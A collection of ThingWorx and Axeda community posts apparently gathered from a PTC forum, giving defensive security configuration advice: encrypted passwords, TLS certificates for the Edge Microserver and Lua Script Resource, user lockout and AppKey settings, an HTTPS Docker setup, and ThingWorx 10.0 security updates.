IoT & Connectivity Tips

Configuring Navigate search using Common Tailoring and configuring access permission on apps from role perspective.     For full-sized viewing, click on the YouTube link in the player controls.   Visit the Online Success Guide to access our Expert Session videos at any time as well as additional information about ThingWorx training and services.

This is a follow-up post on my initial document about Edge Microserver (EMS) and Lua Script Resource (LSR) security. While the first part deals with fundamentals on secure configurations, this second part will give some more practical tips and tricks on how to implement these security measurements.   For more information it's also recommended to read through the Setting Up Secure Communications for WS EMS and LSR chapter in the ThingWorx Help Center. See also Trust & Encryption Theory and Hands On for more information and examples - especially around the concept of the Chain of Trust, which will be an important factor for this post as well.   In this post I will only reference the High Security options for both, the EMS and the LSR. Note that all commands and directories are Linux based - Windows equivalents might slightly differ.   Note - some of the configuration options are color coded for easy recognition: LSR resources / EMS resources   Password Encryption   It's recommended to encrypt all passwords and keys, so that they are not stored as cleartext in the config.lua / config.json files.   And of course it's also recommended, to use a more meaningful password than what I use as an example - which also means: do not use any password I mentioned here for your systems, they might too easy to guess now 🙂   The luaScriptResource script can be used for encryption:   ./luaScriptResource -encrypt "pword123" ############ Encrypted String AES:A26fBYKHJq+eMu0Fm2FlDw== ############   The wsems script can be used for encryption:   ./wsems -encrypt "pword123" ############ Encrypted String AES:A26fBYKHJq+eMu0Fm2FlDw== ############   Note that the encryption for both scripts will result in the same encrypted string. This means, either the wsems or luaScriptResource scripts can be used to retrieve the same results.   The string to encrypt can be provided with or without quotation marks. It is however recommended to quote the string, especially when the string contains blanks or spaces. Otherwise unexpected results might occur as blanks will be considered as delimiter symbols.   LSR Configuration   In the config.lua there are two sections to be configured:   scripts.script_resource which deals with the configuration of the LSR itself scripts.rap which deals with the connection to the EMS   HTTP Server Authentication   HTTP Server Authentication will require a username and password for accessing the LSR REST API.     scripts.script_resource_authenticate = true scripts.script_resource_userid = "luauser" scripts.script_resource_password = "pword123"     The password should be encrypted (see above) and the configuration should then be updated to   scripts.script_resource_password = "AES:A26fBYKHJq+eMu0Fm2FlDw=="   HTTP Server TLS Configuration   Configuration   HTTP Server TLS configuration will enable TLS and https for secure and encrypted communication channels from and to the LSR. To enable TLS and https, the following configuration is required:     scripts.script_resource_ssl = true scripts.script_resource_certificate_chain = "/pathToLSR/lsrcertificate.pem" scripts.script_resource_private_key = "/pathToLSR/key.pem" scripts.script_resource_passphrase = "keyForLSR"     It's also encouraged to not use the default certificate, but custom certificates instead. To explicitly set this, the following configuration can be added:     scripts.script_resource_use_default_certificate = false     Certificates, keys and encryption   The passphrase for the private key should be encrypted (see above) and the configuration should then be updated to     scripts.script_resource_passphrase = "AES:A+Uv/xvRWENWUzourErTZQ=="     The private_key should be available as .pem file and starts and ends with the following lines:     -----BEGIN ENCRYPTED PRIVATE KEY----- -----END ENCRYPTED PRIVATE KEY-----     As it's highly recommended to encrypt the private_key, the LSR needs to know the password for how to encrypt and use the key. This is done via the passphrase configuration. Naturally the passphrase should be encrypted in the config.lua to not allow spoofing the actual cleartext passphrase.   The certificate_chain holds the Chain of Trust of the LSR Server Certificate in a .pem file. It holds multiple entries for the the Root, Intermediate and Server Specific certificate starting and ending with the following line for each individual certificate and Certificate Authority (CA):     -----BEGIN CERTIFICATE----- -----END CERTIFICATE-----     After configuring TLS and https, the LSR REST API has to be called via https://lsrserver:8001 (instead of http).   Connection to the EMS   Authentication   To secure the connection to the EMS, the LSR must know the certificates and authentication details for the EMS:     scripts.rap_server_authenticate = true scripts.rap_userid = "emsuser" scripts.rap_password = "AES:A26fBYKHJq+eMu0Fm2FlDw=="     Supply the authentication credentials as defined in the EMS's config.json - as for any other configuration the password can be used in cleartext or encrypted. It's recommended to encrypt it here as well.   HTTPS and TLS   Use the following configuration establish the https connection and using certificates     scripts.rap_ssl = true scripts.rap_cert_file = "/pathToLSR/emscertificate.pem" scripts.rap_deny_selfsigned = true scripts.rap_validate = true     This forces the certificate to be validated and also denies selfsigned certificates. In case selfsigned certificates are used, you might want to adjust above values.   The cert_file is the full Chain of Trust as configured in the EMS' config.json http_server.certificate options. It needs to match exactly, so that the LSR can actually verify and trust the connections from and to the EMS.   EMS Configuration   In the config.lua there are two sections to be configured:   http_server which enables the HTTP Server capabilities for the EMS certificates which holds all certificates that the EMS must verify in order to communicate with other servers (ThingWorx Platform, LSR)   HTTP Server Authentication and TLS Configuration   HTTP Server Authentication will require a username and password for accessing the EMS REST API. HTTP Server TLS configuration will enable TLS and https for secure and encrypted communication channels from and to the EMS.   To enable both the following configuration can be used:   "http_server": { "host": "<emsHostName>", "port": 8000, "ssl": true, "certificate": "/pathToEMS/emscertificate.pem", "private_key": "/pathToEMS/key.pem", "passphrase": "keyForEMS", "authenticate": true, "user": "emsuser", "password": "pword123" }   The passphrase as well as the password should be encrypted (see above) and the configuration should then be updated to   "passphrase": "AES:D6sgxAEwWWdD5ZCcDwq4eg==", "password": "AES:A26fBYKHJq+eMu0Fm2FlDw=="   See LSR configuration for comments on the certificate and the private_key. The same principals apply here. Note that the certificate must hold the full Chain of Trust in a .pem file for the server hosting the EMS.   After configuring TLS and https, the EMS REST API has to be called via https://emsserver:8000 (instead of http).   Certificates Configuration   The certificates configuration hold all certificates that the EMS will need to validate. If ThingWorx is configured for HTTPS and the ws_connection.encryption is set to "ssl" the Chain of Trust for the ThingWorx Platform Server Certificate must be present in the .pem file. If the LSR is configured for HTTPS the Chain of Trust for the LSR Server Certificate must be present in the .pem file.   "certificates": { "validate": true, "allow_self_signed": false, "cert_chain" : "/pathToEMS/listOfCertificates.pem" } The listOfCertificates.pem is basicially a copy of the lsrcertificate.pem with the added ThingWorx certificates and CAs.   Note that all certificates to be validated as well as their full Chain of Trust must be present in this one .pem file. Multiple files cannot be configured.   Binding to the LSR   When binding to the LSR via the auto_bind configuration, the following settings must be configured:   "auto_bind": [{ "name": "<ThingName>", "host": "<lsrHostName>", "port": 8001, "protocol": "https", "user": "luauser", "password": "AES:A26fBYKHJq+eMu0Fm2FlDw==" }]   This will ensure that the EMS connects to the LSR via https and proper authentication.   Tips   Do not use quotation marks (") as part of the strings to be encrypted. This could result in unexpected behavior when running the encryption script. Do not use a semicolon (:) as part of any username. Authentication tokens are passed from browsers as "username:password" and a semicolon in a username could result in unexpected authentication behavior leading to failed authentication requests. In the Server Specific certificates, the CN must match the actual server name and also must match the name of the http_server.host (EMS) or script_resource_host (LSR) In the .pem files first store Server Specific certificates, then all required Intermediate CAs and finally all required Root CAs - any other order could affect the consistency of the files and the certificate might not be fully readable by the scripts and processes. If the EMS is configured with certifcates, the LSR must connect via a secure channel as well and needs to be configured to do so. If the LSR is configured with certifcates, the EMS must connect via a secure channel as well and needs to be configured to do so. For testing REST API calls with resources that require encryptions and authentcation, see also How to run REST API calls with Postman on the Edge Microserver (EMS) and Lua Script Resource (LSR)   Export PEM data from KeyStore Explorer   To generate a .pem file I usually use the KeyStore Explorer for Windows - in which I have created my certificates and manage my keystores. In the keystore, select a certificate and view its details Each certificate and CA in the chain can be viewed: Root, Intermediate and Server Specific Select each certificate and CA and use the "PEM" button on the bottom of the interface to view the actual PEM content Copy to clipboard and paste into .pem file To generate a .pem file for the private key, Right-click the certificate > Export > Export Private Key Choose "PKCS #8" Check "Encrypted" and use the default algorithm; define an "Encryption Password"; check the "PEM" checkbox and export it as .pkcs8 file The .pkcs8 file can then be renamed and used as .pem file The password set during the export process will be the scripts.script_resource_passphrase (LSR) or the http_server.passphrase (EMS) After generating the .pem files I copy them over to my Linux systems where they will need 644 permissions (-rw-r--r--)

This Expert Session consists of the general overview for the multitenancy and platform security. It  discusses the available security levels, necessary basic resources, as well as provides information on the system user, and also includes several examples on how-to. It’s assumed that the audience is familiar with the Composer and its navigation.     For full-sized viewing, click on the YouTube link in the player controls.   Visit the Online Success Guide to access our Expert Session videos at any time as well as additional information about ThingWorx training and services.

Background: Firewall-Friendly Agents can be configured for server certificate authentication in the Axeda Builder project or via the Axeda Deployment Utility. When server certificate authentication is configured, the Agent will compare the certificate chain sent by the Platform to a local copy of the CA certificate chain stored in the SSLCACert.pem file in the Agent’s home directory. The certificate validation compares three things: Does the name of the Platform certificate match the name in the request? Does the CA certificate match the CA certificate that signed the Platform certificate? Is the Platform or CA certificate not expired? If the answer to any of these questions is “no”, then connection is refused and the Agent does not communicate further with the Platform. To determine if certificate trouble is an issue, see the Agent log: EKernel.log or xGate.log. Recommendation: For Agent-Platform communications, we recommend always using SSL/HTTPS. If the Agent is not configured to validate the server certificate (via the trusted CA certificate), the system is vulnerable to a number of security attacks, including “man in the middle” attacks. This is critically important from a security perspective. Note: For on-premise customers, if the Platform certificate needs to change, always update the SSLCACert.pem file on all Agents before updating the Platform certificate. (If the certificate is changed on the Platform before it is changed on the Agents, communications from the Agent will stop.) Note: Axeda ODC automatically notifies on-demand customers about any certificate updates and renewals. At this point, though, Axeda ODC certificate updates are not scheduled for several years. Finally, it is recommended that your Axeda Builder project always specify “Validate Server Certificate” and set the encryption level to the strongest level supported by the Web server. Axeda recommends 168 bit encryption, which will use one of the following encryption ciphers: AES256-SHA or DES-CBC3-SHA. Need more information? For information about configuring and managing Agent certificate authentication, see Using SSL with Axeda® Platform Guide.

Background: The frequency with which an Agent checks its connection to the Axeda Cloud Server is called the Agent “ping rate” (also known as heartbeat). (For Axeda IDM Agents, ping rate is referred to as “poll rate”; the meaning is the same.) Pings are a very important aspect of Firewall-Friendly communication. All communication between the Agent and the Cloud Server is initiated by the Agent. In addition to indicating the Agent is still active, the Ping also gives the Cloud Server an opportunity to send commands back to the Agent on the Ping acknowledgement. The ping rate effectively defines how long users must wait before they can deliver a command or request to an Agent. Typical commands may include setting a data item, starting an Access Session, or running a script. The place where Ping rate is most noticeable to system users is when requesting a remote session. When a session request has been submitted by the user, the Cloud Server waits for the next Agent ping in order to send down the command to begin the session process. A longer ping rate means the remote session takes longer to get started. (Note that the same is true of any command initiated from the Axeda Cloud Server.) Ping traffic comprises the majority of inbound traffic to the Cloud Server. The higher the ping rate, the more resources are consumed on the Server and the greater the requirements for network bandwidth for the customer. Unnecessarily high ping rates will result in an increase in network traffic on your customer's network. By default, the ping rate for Firewall-Friendly Agents is 60 seconds, or every 1 minute. The Agent ping rate is set using Axeda Builder when configuring the project. The ping rate can also be set via an action from the Axeda Cloud Server. When set via an action, the new ping rate is in effect until the next Agent restart (at which time the Agent will go back to the default ping rate set in the project). The Axeda Cloud Server also uses Agent ping rate to determine when assets are missing. One of the model settings is to define how many missed pings (or missed pings and time) will cause a device to be marked as missing. The default setting for new models is to mark assets as missing after they’ve missed 3 consecutive pings. Recommendations: Make sure that your Agents’ ping rates are set to reasonable frequencies. The ping rate should be set based on use case and not necessarily volume. The recommended practice is to make sure the ping rate is never set less than 60 seconds. Where possible the ping rate should be set to 2 minutes or higher. In the end, it is often user expectations around starting Access sessions that drives the ping rate value. If only occasional user access is required, one recommendation is to dynamically adjust the ping rate when conditions require expedited communication with the Cloud Server. One use case is to expedite a remote session when a device is in alarm condition or when an end user needs assistance. In this case you would temporarily increase the ping rate. This can be done using an action from the Cloud Server, by downloading a software package ping rate update, or by Agent extension using the SDK. (For information about using the Agent SDK, see the Axeda® Platform Extending Axeda® Agents PDF.) You can configure alerts to indicate if an asset is missing. Axeda recommends that you configure the alert to a reasonable time given your resources and the expense of tracking every missing asset. A reasonable missing alert for your organization may be 1-2 days, meaning the Server generates the missing asset alert only after the asset has been missing for one or two days, based on its ping rate, and an asset should be marked as missing only after 15 missed pings or 30 minutes (whichever is less). The most common cause of a missing asset is not an issue with the device but rather the loss of Internet connectivity. Note: Any communication from an Agent also serves the function of a Ping. E.g., if the ping rate is set to 30 minutes and the device is sending a data value every 5 minutes, the effective Ping rate is 5 minutes. Need more information? For information about specifying Agent ping rate, see the online help in Axeda® Builder (Enterprise Server Settings). If setting the ping rate from Platform actions or verifying Agent ping rates, see the online help of the Axeda® Connected Management Applications.

  Whether your ThingWorx instances are deployed on premise, in the cloud or a hybrid of the two, I’d like you to imagine: You have a super cool app. You want to deploy it securely. You’re not a security expert. What do you do? How do you know how to securely deploy your app? Where do you go for security best practices? Introducing the new ThingWox Secure Deployment Hub!   The ThingWorx Secure Deployment Hub is a new section of our support site that will introduce you to the ThingWorx security landscape and direct you to security resources pertaining to the Edge, the platform and beyond.   From permissions and provisioning, to subsystems and SSO, the hub is packed with our recommendations and best practices for you to deploy your app in a secure fashion.   Happy deploying! Kaya

I've been working with the 7.x and 8.x versions of Thingworx over the last several months doing integrations. So I have a few development instances I've been working with. I'd like to go over some of the issues I've encountered and provide some potential best practices around how you work with Thingworx in development mode and transition to production. Typically, I'll create an instance and develop the integration using the Administrator user which is the only user created as you start up Thingworx instances. Lately, I've been having trouble with a lot of authentication failures as I build. Problem number 1: The new User Lockout feature. Around 7.2 a new User Lockout feature was added to Thingworx to help prevent brute-force cracking of passwords. You now are allowed only so many authentication failures in a given period of time before the user is automatically put in lock mode for a number of minutes. Unfortunately, (but realistically in a more secure manner), a lockout appears as more authentication failures. In reality, it is because the user you have just successfully authenticated to has been automatically locked. I came very close to wiping out an entire instance because I just couldn't get signed in. Then I remembered the lockout, so I worked on something else for a while and then tried to get back into the server and I was successful because the lock timeout had expired. To see the settings in your system, look at the User Management Subsystem configuration page. The Account Lockout Settings default to 5 failures in a 5 minute period that will result in a 15 minute lockout. One note is that setting the lockout to 0 doesn't disable it, it permanently locks out the account. It will have to be reset by a member of the administrators group. The screenshot below shows Problem number 2: AppKeys There is a new setting in the PlatformSubsystem that by default prevents the use of AppKeys in a URL. This setting is present because it is more secure. If you use an appKey as a query parameter in a URL, the appKey will be logged as clear text in your web browser's access log. This is a security risk - an AppKey, especially one not using a whitelist setting might make it possible for someone to gain access to your system by managing to see the access log for your system (maybe via some log analysis tool you feed your logs to). You can disable this setting, but it is not recommended for production - you may have to for a while because you may have code that uses this technique that must be updated before you can enforce the policy. You should deal with this in your production systems as soon as practical. See the graphic below on where this setting shows up. Problem number 3: REST API testing ​As a Thingworx developer, you're probably aware of tools like Curl, Postman and even the Web Browser that can let you exercise a REST API as you develop your code so you can validate your functionality. The REST guidelines specify that you should use the GET method to retrieve data, PUT to create data, POST to update data, etc. The issue is that it is easiest to test an API call if you can execute it from a web browser. However, the web browser always uses the GET method to make a request. This means that PUT and POST (along with other methods) will not work from your browser. Thingworx originally interpreted the incoming request and would internally reroute incoming requests to the POST or PUT functionality. This is also insecure because it makes it too easy to execute services from a browser. A setting was added to the PlatformSubsystem allow for a gradual transition to the more secure configuration. Turn this on in developer mode to simplify your testing of REST calls, but you should not leave it on in production mode as it provides a potential attack vector for your server. So I have some recommendations: 1) Set up an additional Administrative user upon installation If you only have one user defined and it gets locked out, you're stuck until the lockout times out. Worse, if for some reason you set the timeout value to 0, you're locked out forever by Thingworx. You're only choice will be to hack the database to unlock the user or to wipe out the instance and start over. I just went through a situation where I did create the second user and forgot to add it to the Administrators group. So I did something else for 20 minutes to make sure the lockout had cleared. Then I added the user to the Administrators group but got distracted and never pressed the Save button so it locked up again. Make sure you have the user created and functional immediately upon installing the instance - don't wait until you're getting locked out by some loop that's not authenticating properly. Even if you were logged in as your Administrator user, the lockout will cause a failure the next time you try to do something in Composer, like turn off the lockout checkbox! 2) Test your REST Calls with Curl or Postman - not the web browser Don't test your code in a loop until you've tested it in isolation to be sure it's not going to fail authentication for some reason (which may include violating the PlatformSubsystem settings above). Don't use the browser to do the testing - it will require disabling the secure settings. Use Curl or even better, Postman or a similar tool to test your REST calls - it will give you better formatted output than Curl. And you can easily put appKey in as a header (where it should be) instead of a parameter on the URL or in the body. 3) Tighten up your appKeys where possible. Since an appKey is effectively a user/password replacement, you should protect them in the same manner - keep them out of log files by not allowing them as URL parameters, and use the whitelist to keep them from being used for other purposes. If you have a server to server connection, whitelist the server who will be making the calls to you. What I'm not sure of is just whether this is really IP addresses only or if you can use a DNS name and it will look up the IP address and insure it is in fact coming from the expected source. Someone else might be able to comment on this. 4) Test with the PlatformSubsystem settings off Make sure you can run your server without the method redirect or appKey as parameter settings in the PlatformSubsystem. Those settings are potential security vulnerabilities. You may find some Thingworx code that requires one or the other of those settings. Please be sure to report this through PTC Tech Support so it can be fixed.

The Squeal functionality has been discontinued with ThingWorx 8.1, see ThingWorx 8.1.0 Release Notes   There might be scenarios where it should be disabled in earlier versions as well. This can be achieved e.g. with Tomcat Security Constraints. To add such a constraint, open <Tomcat>\webapps\Thingworx\WEB-INF\web.xml At the end of the file add a new constraint just before closing the </web-app> tag:   <security-constraint> <web-resource-collection> <web-resource-name>Forbidden</web-resource-name> <url-pattern>/Squeal/*</url-pattern> </web-resource-collection> <auth-constraint/> <user-data-constraint> <transport-guarantee>CONFIDENTIAL</transport-guarantee> </user-data-constraint> </security-constraint> Save the file and restart Tomcat. Accessing the /Thingworx/Squeal resource now will result in an error message:   HTTP Status 403 - Access to the requested resource has been denied   One scenario to be aware of is when the web.xml changes, e.g. due to updating ThingWorx or other manual changes. In such a case, ensure that the filter is still present in the file and taken into account.

This post adds to my previous post: Deploying H2 Docker versions quickly   In addition to configuring the basic Docker Images and Containers, it's also possible to deploy them with a TLS / SSL certificate and access the instances via HTTPS protocol.   For this a valid certificate is required inside a .jks keystore. I'm using a self-signed certificate, but commercial ones are even better! The certificate must be in the name of the machine which runs Docker and which is accessed by the users via browser. In my case this is "mne-docker". The password for the keystore and the private key must be the same - this is a Tomcat limitation. In my case it's super secret and "Password123456".   I have the following directory structure on my Operating System   /home/ts/docker/ certificates mne-docker.jks twx.8.2.x.h2 Dockerfile settings platform-settings.json <license_file> storage Thingworx.war   The Recipe File   In the Recipe File I make sure that I create a new Connector on port 8443, removing the old one on port 8080. I do this by just replacing via the sed command - also introducing options for content compression. I'm only replacing the first line of the xml node as it holds all the information I need to change.   Changes to the original version I posted are in green   FROM tomcat:latest MAINTAINER mneumann@ptc.com LABEL version = "8.2.0" LABEL database = "H2" RUN mkdir -p /cert RUN mkdir -p /ThingworxPlatform RUN mkdir -p /ThingworxStorage RUN mkdir -p /ThingworxBackupStorage ENV LANG=C.UTF-8 ENV JAVA_OPTS="-server -d64 -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -Dfile.encoding=UTF-8 -Duser.timezone=GMT -XX:+UseNUMA -XX:+UseG1GC -Djava.library.path=/usr/local/tomcat/webapps/Thingworx/WEB-INF/extensions RUN sed -i 's/<Connector port="8080" protocol="HTTP\/1.1"/<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol" maxThreads="150" SSLEnabled="true" scheme="https" secure="true" clientAuth="false" sslProtocol="TLS" enableLookups="false" keystoreFile="\/cert\/mne-docker.jks" keystorePass="Password123456" ciphers="TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA256, TLS_DHE_RSA_WITH_AES_128_GCM_SHA256, TLS_DHE_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_256_CBC_SHA256, TLS_DHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA" compression="on" compressableMimeType="text\/html,text\/xml,text\/plain,text\/css,text\/javascript,application\/javascript,application\/json"/g' /usr/local/tomcat/conf/server.xml COPY Thingworx.war /usr/local/tomcat/webapps VOLUME ["/ThingworxPlatform", "/ThingworxStorage", "/cert"] EXPOSE 8443   Note that I also map the /cert directory to the outside, so all of my Containers can access the same certificate. I will access it read-only.   Deploying     sudo docker build -t twx.8.2.x.h2 . sudo docker run -d --name=twx.8.2.x.h2 -p 88:8443 -v /home/ts/docker/twx.8.2.x.h2/storage:/ThingworxStorage -v /home/ts/docker/twx.8.2.x.h2/settings:/ThingworxPlatform -v /home/ts/docker/certificates:/cert:ro twx.8.2.x.h2   Mapping to the 8443 port ensures to only allow HTTPS connections. The :ro in the directory mapping ensures read-only access.   What next   Go ahead! Only secure stuff is kind of secure 😉 For more information on how to import the certificate into a the Windows Certificate Manager so browsers recognize it, see also the Trusting the Root CA chapter in Trust & Encryption - Hands On

I know most of us very happily use the Administrator account in Thingworx, however this is bad bad practice for development and even administration of the platform! Administrator is there by default and should be used to set up your initial users, which should include your Actual Platform Administrator (with a strong password of course) After that change the Administrator Password and Remove them from the Administrators group. I recommend this as a Best Practice even in your own Development environments, but especially in Runtime. Your very first steps would like: Install Thingworx Log in as Administrator Set up the new Platform Administrator account Remove Administrator from Administrators group Change Administrator password.

Thingworx actually provides some services for this, but it exports them to an XML file. I'm pretty sure that there are people who will be able to turn this into something easily legible in a mashup. There are two services in CollectionFunctions ExportUserPermissions ImportUserPermissions

Often times to set up our environment securely, we will assign Entity Type permissions, which is much easier then to remember to assign it to every single ThingShape, ThingTemplate, Thing etc. However did you know that these security settings only export when doing an Export to ThingworxStorage? So you either must maintain a list of these settings and re-apply them when starting on a new environment or: 1. Set up your Groups (and Users although hopefully all permissions you set up are assigned to Groups as a Best Practice) 2. Set up your Entity Type Permissions 3. Create an Export using Export to ThingworxStorage and export everything Now you have an import ready any time you need to deploy Thingworx anew. NOTE: Obviously this means you need to maintain that export any time changes are made to those permissions, unfortunately that also means another export of ALL which can be less desirable, since it can include Test objects unfinished items etc. As such one may have to maintain some local instance to keep a clean Import/Export.

What is Meltdown and Spectre? Windows KB Page Blog on Altaro containing  some performance tests with pre/post-patch machines https://www.altaro.com/hyper-v/meltdown-spectre-hyperv-performance/ For any further information about PTC’s reaction to the Meltdown&Spectre, please reference this link:  https://www.ptc.com/en/support/article?n=CS277711

In this post I show how to use Federation in ThingWorx to execute services on a different ThingWorx platform instance. In the use case below I set up one ThingWorx instance in the Factory and another instance in the Cloud, whereby the latter is executing a service which is actually running on the former.   Please find the document in attachment.   HTH, Alessio Marchetti  

Introduction In the dynamic landscape of IoT and industrial applications, development teams often face challenges such as limited visibility into application behavior, fragmented tooling, and time-consuming troubleshooting processes. To address these pain points, PTC has launched a DevOps initiative aimed at strengthening the ThingWorx low-code platform. This initiative delivers key enhancements in debugging, source control, monitoring, alerting, logging, and AI-driven development support. As ThingWorx continues to evolve, our commitment remains centered on improving the day-to-day experience for both developers and administrators. We've been listening closely to your feedback—this new project reflects our response, focusing on smoother DevOps integration and empowering users with deeper control and visibility into their applications. While many enterprises already rely on IT-recommended tools to manage the application lifecycle and Day-2 operations, PTC is committed to complementing these investments by delivering additional capabilities and guidance tailored to the ThingWorx platform. Key features of the new devOps project initiative include real-time debugging and version control, the ability to roll back to previous versions, hot-fix deployments, and distributed team development through seamless integration with repositories like GitHub. Furthermore, streamlined application packaging and deployment significantly simplify the management of ThingWorx-based applications. These enhancements go beyond routine updates and reflect a meaningful evolution in how teams develop, troubleshoot, and optimize IoT applications in production environments.  Debugging : Preview in ThingWorx 10.0   The first major feature introduced under DevOps is the debugging capability, currently available in a private preview (alpha version). Debugging has long been a challenge in ThingWorx applications, where troubleshooting JavaScript code within the platform was often cumbersome and time-consuming. With the new JavaScript Debugger, developers can now debug their scripts directly within ThingWorx Composer, reducing the time spent identifying and fixing issues. This feature brings real-time issue resolution, allowing developers to pinpoint errors efficiently without needing external tools.   Security and seamless integration into the existing ThingWorx environment were critical design considerations for this feature. The debugging actions are logged securely for audit and compliance, ensuring that sensitive information remains protected. Furthermore, support for major browsers such as Chrome, Firefox, Edge, and Safari enhances the accessibility of this feature across different development environments. The debugging capability is expected to significantly improve developer productivity by offering better visibility into JavaScript execution and real-time error tracking, reducing the trial-and-error approach that developers previously relied upon. Here is a brief video offering a preview of upcoming features included in the ThingWorx 10.0 release, with general availability planned for the 10.1 release later this year.   Debugger Capability (Preview) Logging and Monitoring : Continuous improvement   In addition to the new debugging capabilities, we’ve delivered several enhancements focused on monitoring and alerting—specifically designed to support the needs of IT administrators responsible for maintaining the uptime and reliability of ThingWorx environments in the last major release. The integration of OpenTelemetry has transformed logging and performance monitoring, allowing better observability of system operations. This enhancement enables third-party integrations with monitoring tools such as Sumo Logic, Datadog, and Splunk, providing developers and administrators with deeper insights into system performance. These improvements have made ThingWorx more resilient and responsive, allowing teams to proactively detect and address issues before they impact operations. Mashup Builder : Continuous improvement   We have been continuously enhancing Mashup development capabilities, starting with the introduction of Read-Only Mashups in ThingWorx 9.6 and extending through to the latest improvements in recent releases. Also, a new Export Function replaces the legacy Data Export Widget, offering a more secure and efficient data export process. Binding Verification & Debugging introduces a powerful capability to detect and resolve broken bindings after mashup migrations, reducing errors and improving reliability. Improved UI Management features, such as widget highlighting and container zooming, make mashup creation and debugging more intuitive. Additionally, developers can now customize Tab Titles & Favicons, enabling better branding and a more polished user experience for ThingWorx applications. Mash up improvements in ThingWorx 9.7 The Road Ahead: AI-Powered Development and Version Control   The next phase of the DevOps initiative is set to deliver major advancements in source control and AI-driven development. One key enhancement is the addition of IDE-like features for source code management, enabling developers to better track, iterate, and roll back changes. Planned integrations with GitHub and other repositories will support seamless collaboration in distributed teams.   We welcome your feedback as you explore the new Debugger Feature Preview included in the ThingWorx 10.0 release. In parallel, we are actively working with customers and partners to enhance key capabilities such as source code version control and application lifecycle management within the ThingWorx platform. If you're interested in contributing to the future of low-code development, we encourage you to share your thoughts in the comments below—our team will be in touch to connect.   Vineet Khokhar Principal Product Manager, IoT Security Stay tuned for more updates as we approach the release of ThingWorx 10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>  

Interested in learning how others using and/or hosting ThingWorx solutions can comply with various regulatory and compliance frameworks?   Based on inquiries regarding the ability of customers to meet a wide range of obligations – ranging from SOC 2 to ISO 27001 to the Department of Defense’s Cybersecurity Maturity Model Certification (CMMC) – the PTC's IoT Product Management and EDC teams have collaborated on a set of detailed articles explaining how to do so.   Please check out the ThingWorx Compliance Hub (support.ptc.com login required) for more information!

ThingWorx has long been a trusted platform in the industrial IoT space, helping organizations build and scale connected solutions. With the release of ThingWorx 10.0, we're introducing meaningful updates that make it easier, faster, and more secure to develop and manage industrial IoT applications — while keeping the core strengths that customers rely on.   ThingWorx 10.0 isn't just about new features; it's about making the platform more efficient, more reliable, and better aligned with today’s enterprise needs. Key enhancements focus on improving performance at scale, streamlining developer workflows, and strengthening security frameworks — essential capabilities for any modern IoT deployment. While security improvements are critical, they represent the standard customers expect, and we’ve invested in making sure ThingWorx continues to meet and exceed those expectations.   Here is a summary of the latest security updates for ThingWorx, including patches and vulnerability fixes. Reviewing and applying these updates is essential to protect your systems from emerging threats and ensure the ongoing security and stability of your ThingWorx environment.   JAVA 21 Support   Future-Proofing Your Applications ThingWorx 10.0 now supports Java 21, ensuring that your applications benefit from the latest language improvements and long-term support. Starting with ThingWorx 10, Java 21 will be the only supported version, marking the end of Java 11 support for the core platform. Enhanced Performance and Security Java 21 brings improved garbage collection, better memory management, and access to the latest security patches, which are essential for sustaining platform stability in today’s fast-paced technology environment.   TLS 1.3 Support   Evolving Encryption Standards with TLS 1.3 Support Leading up to the release of ThingWorx 10.0, PTC has progressively introduced TLS 1.3 support across recent platform versions, including ThingWorx 9.6, 9.7, and now in ThingWorx 10.0. This phased rollout ensures customers benefit from stronger encryption, faster handshake processes, and reduced latency — all critical improvements for securing data in modern industrial IoT environments. Continued Backward Compatibility We recognize that many customers operate in diverse and complex environments. To support a smooth transition, ThingWorx continues to maintain full backward compatibility with TLS 1.2. Customers who are not yet ready to move fully to TLS 1.3 can continue to operate securely without disruption.   Tomcat 11 Support   Enhanced Performance & Scalability Leveraging Apache Tomcat 11, ThingWorx 10.0 provides improved handling of concurrent connections, faster response times, and better resource management. Stronger Security Configurations The latest Tomcat version comes with refined security settings, reducing the attack surface and offering robust default configurations.   Custom Logback Support   Logback is a widely used logging framework for Java applications, chosen for its speed, flexibility, and reliability. It helps developers capture and manage logs efficiently, which is critical for debugging, monitoring, and maintaining system health. For customers, this means faster issue resolution, improved system stability, and better performance insights. With Logback in place, engineering teams can proactively identify and address problems, minimizing downtime and enhancing the overall user experience. In essence, robust logging through Logback directly contributes to a more reliable and responsive product for customers. With the launch of ThingWorx 10, we've made some important updates behind the scenes to improve system reliability and performance. One of these changes involves how logging is handled, which helps us monitor and troubleshoot the platform more effectively. To make this transition smooth for users who have made custom settings, we've provided a simple tool that automatically updates those settings to work with the latest version. It's a quick and easy process, and for those who prefer to make changes manually, we’ve also included clear step-by-step instructions. These updates help ensure a more stable, consistent experience as we continue to evolve the platform.   Spring Framework 6 Support   Modern Application Framework: By integrating Spring framework 6, developers can build more modular and resilient applications. This not only enhances performance but also simplifies the integration of security features. Improved Security Features: The new framework version offers enhanced support for dependency injection and security configuration, which aligns perfectly with our secure coding practices.   Enhanced Content Security Policy (CSP) Features   Foundational Defense Against Web-Based Threats ThingWorx 10.0 continues to enhance platform security with expanded support for Content Security Policy (CSP). While CSP functionality was first introduced in ThingWorx 9.3.15, 9.4.5, 9.5.1, and 9.6.0, this release builds on that foundation to improve defenses against common web-based threats such as cross-site scripting (XSS), data injection, clickjacking, and man-in-the-middle attacks. Phased Adoption Approach For ThingWorx 10.0, CSP support will be available but disabled by default. Cloud customers interested in enabling CSP will need to contact PTC Support to request activation. This approach ensures a smooth rollout while giving organizations flexibility based on their deployment and testing timelines. The current implementation lays the groundwork for a future where CSP could be enabled out-of-the-box (OOTB) in upcoming releases. For more details please visit help center   Remote Access and Control updates   The latest RAC enhancements in ThingWorx 9.7 continue to build on functionality introduced in 